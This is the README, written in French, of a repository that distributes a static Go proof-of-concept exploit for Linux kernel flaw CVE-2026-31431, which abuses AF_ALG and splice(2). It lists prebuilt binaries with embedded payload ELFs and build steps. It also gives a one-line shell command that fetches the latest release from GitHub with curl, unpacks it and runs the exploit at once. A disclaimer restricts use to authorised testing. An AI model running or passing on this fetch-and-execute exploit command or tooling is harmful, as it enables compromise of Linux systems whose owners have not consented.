
Preuve de concept statique en Go pour CVE-2026-31431, exploitant Linux AF_ALG et splice(2) pour déclencher la vulnérabilité. Fournit des binaires précompilés pour amd64, arm64 et 386.
Ce dépôt contient un portage Go de la preuve de concept publique en Python issue de
theori-io/copy-fail-CVE-2026-31431.
Le programme est exclusivement destiné à Linux. Il utilise l'interface Linux AF_ALG, les messages de contrôle AEAD
et splice(2) pour préserver le comportement de la PoC d'origine tout en
produisant un petit binaire Go statique.
Les versions de publication sont générées pour :
linux/amd64linux/arm64linux/386Chaque binaire intègre un ELF de payload pour la même architecture cible.
Les builds macOS et Windows ne sont volontairement pas publiés, car la PoC dépend d'interfaces noyau spécifiques à Linux.
Les versions taguées publient des binaires statiques compressés et un manifeste de sommes de contrôle :
copy-fail-poc-linux-amd64.tar.gzcopy-fail-poc-linux-arm64.tar.gzcopy-fail-poc-linux-386.tar.gzSHA256SUMSVérifiez un artefact téléchargé avec :
sha256sum -c SHA256SUMS
Prérequis :
Compiler pour l'architecture hôte actuelle :
CGO_ENABLED=0 go build -trimpath -ldflags='-s -w -buildid=' -o copy-fail-poc ./cmd/copy-fail-poc
Compilation croisée pour une cible Linux :
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -trimpath -ldflags='-s -w -buildid=' -o copy-fail-poc-linux-amd64 ./cmd/copy-fail-poc
Les valeurs GOARCH prises en charge sont amd64, arm64 et 386.
Exécuter les tests :
go test ./...
go vet ./...
Les tests ne couvrent que la logique d'assistance non destructive. Ils n'exécutent pas le chemin de déclenchement de la PoC.
Exécutez le binaire sur un système Linux que vous possédez ou pour lequel vous êtes explicitement autorisé à tester :
./copy-fail-poc-linux-*
Téléchargement et exécution en une ligne depuis une version publiée :
sh -c 'set -e; case "$(uname -m)" in x86_64) a=amd64;; aarch64|arm64) a=arm64;; i386|i686) a=386;; *) echo "unsupported arch: $(uname -m)" >&2; exit 1;; esac; curl -fsSL "https://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Statically-PoC/releases/latest/download/copy-fail-poc-linux-${a}.tar.gz" | tar xz; ./copy-fail-poc-linux-${a}'
Le comportement dépend du noyau cible et de la configuration locale du système. Le binaire ne garantit pas une exploitation réussie sur tous les systèmes Linux.
Le workflow GitHub Actions s'exécute sur les tags correspondant à v* et peut également être lancé
manuellement depuis l'onglet Actions.
Créer une version :
git tag v0.1.0
git push origin v0.1.0
Pour les builds par tag, le workflow crée une GitHub Release et téléverse les artefacts
Linux ainsi que SHA256SUMS. Pour les exécutions manuelles, les artefacts sont disponibles depuis
l'exécution du workflow.
Ce projet est fourni uniquement pour la recherche en sécurité autorisée, la validation défensive et l'examen pédagogique. Ne l'exécutez pas sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de test. Vous êtes responsable du respect de toutes les lois, contrats et politiques applicables.
theori-io/copy-fail-CVE-2026-31431